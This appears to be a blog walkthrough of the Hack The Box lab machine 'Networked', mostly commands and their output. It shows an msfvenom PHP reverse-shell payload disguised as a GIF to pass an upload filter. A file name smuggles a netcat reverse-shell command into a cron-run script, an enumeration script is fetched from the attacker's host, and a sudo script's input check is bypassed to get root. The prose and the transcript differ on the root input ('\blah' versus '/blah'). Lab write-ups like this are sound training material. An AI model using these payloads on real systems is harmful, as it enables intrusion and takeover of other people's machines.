L1Cafe's blog

Networked writeup

Networked writeup

4 min read

Networked is a machine hosted in Hack The Box.

Step 1: obtaining a shell

$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.13.239 LPORT=1337 -f raw > image.php.gif

Make sure to replace the LHOST IP with yours.

If the file is uploaded unmodified from msfvenom, a basic filter will catch it and prevent it from being uploaded.

To get around this, open this file with any text editor and append GIF89a; to the beginning of the file, or use the following one-liner:

echo "$(echo 'GIF89a;' | cat - image.php)" > image.php.gif

Upload it on http://10.10.10.146/upload.php

Open a Metasploit console by running msfconsole, and run the following commands one by one, again making sure to replace the IP with yours.

use multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 10.10.13.239
set lport 1337
set ExitOnSession false
exploit -j

Now, browse to http://10.10.10.146/photos.php

The exploit should launch automatically when trying to load the uploaded “image”.

In your Metasploit console, you will get a message like this:

Meterpreter session 1 opened (10.10.13.239:1337 -> 10.10.10.146:55240) at 2019-09-18 12:40:31 +0200

Run sessions 1 in your Metasploit console, and you will now have a shell to the victim machine.

Step 2: privilege escalation (user)

We only have a limited shell for now.

meterpreter > shell
Process 4856 created.
Channel 1 created.
/bin/bash -i
bash-4.2$ whoami
whoami
apache
bash-4.2$ ls /home
ls /home
guly
bash-4.2$ ls /home/guly
ls /home/guly
check_attack.php
crontab.guly
user.txt
bash-4.2$ cat /home/guly/user.txt
cat /home/guly/user.txt
cat: /home/guly/user.txt: Permission denied

Let’s get the flag for guly user. There is an interesting file: check_attack.php.

$ cat /home/guly/crontab.guly
*/3 * * * * php /home/guly/check_attack.php

This file is ran every three minutes by cron. It probably has vulnerabilities.

<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
	$msg='';
  if ($value == 'index.html') {
	continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

This PHP file executes a lot of dangerous commands without many security measures.

Open a new shell and run:

$ nc -lvp 9876
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9876
Ncat: Listening on 0.0.0.0:9876

Now, run this in the Meterpreter session.

$ touch '; nc 10.10.13.239 9876 -c bash'

This command will create an empty file with the title ; nc 10.10.13.239 9876 -c bash which will trigger a reverse shell with netcat. Since the crontab entry is executed every three minutes, it might take a while for the host to connect to our netcat session. Once it does, the Netcat shell will read:

Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:47706.

We can now cat the flag.

python -c 'import pty; pty.spawn("/bin/bash")'
[guly@networked ~]$ cat user.txt
<USER FLAG>

Step 3: Root

Let’s enumerate. Download LinEnum to your local machine, and serve it over HTTP.

$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
--2019-09-19 09:13:04--  https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.132.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.132.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45656 (45K) [text/plain]
Saving to: ‘LinEnum.sh’

LinEnum.sh      100%[======>]  44.59K  --.-KB/s    in 0.06s

2019-09-19 09:13:05 (787 KB/s) - ‘LinEnum.sh’ saved [45656/45656]
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On the victim machine, download the file and run it.

$ curl 10.10.13.239:8000/LinEnum.sh > le.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:--100 45656  100 45656    0     0   318k      0 --:--:-- --:--:-- --:--:--  320k
$ sh le.sh

It will output a wall of text with all the findings, and there’s an interesting file in the results:

[...]
[+] We can sudo without supplying a password!
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh


[+] Possible sudo pwnage!
/usr/local/sbin/changename.sh
[...]

There is an interesting file at /usr/local/sbin/changename.sh with the following contents:

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
	echo "interface $var:"
	read x
	while [[ ! $x =~ $regexp ]]; do
		echo "wrong input, try again"
		echo "interface $var:"
		read x
	done
	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

If we try to run it, we get:

$ /usr/local/sbin/changename.sh
/usr/local/sbin/changename.sh: line 2: /etc/sysconfig/network-scripts/ifcfg-guly: Permission denied

It is obvious this file can be sudo-ed without a password. This often represents a security vulnerability. There’s a check in place in the form of a regular expression that will restrict the input it accepts. For example, it doesn’t accept ; or |, but we can use \. To get root, simply enter:

\blah sudo su

when asked for input. For the rest of fields it is possible to simply type a repeatedly until the script finishes and we get a root shell.

$ sudo /usr/local/sbin/changename.sh
interface NAME:
/blah sudo su
/blah sudo su
interface PROXY_METHOD:
a
a
interface BROWSER_ONLY:
a
a
interface BOOTPROTO:
a
a
[root@networked network-scripts]# cat /root/root.txt
<ROOT FLAG>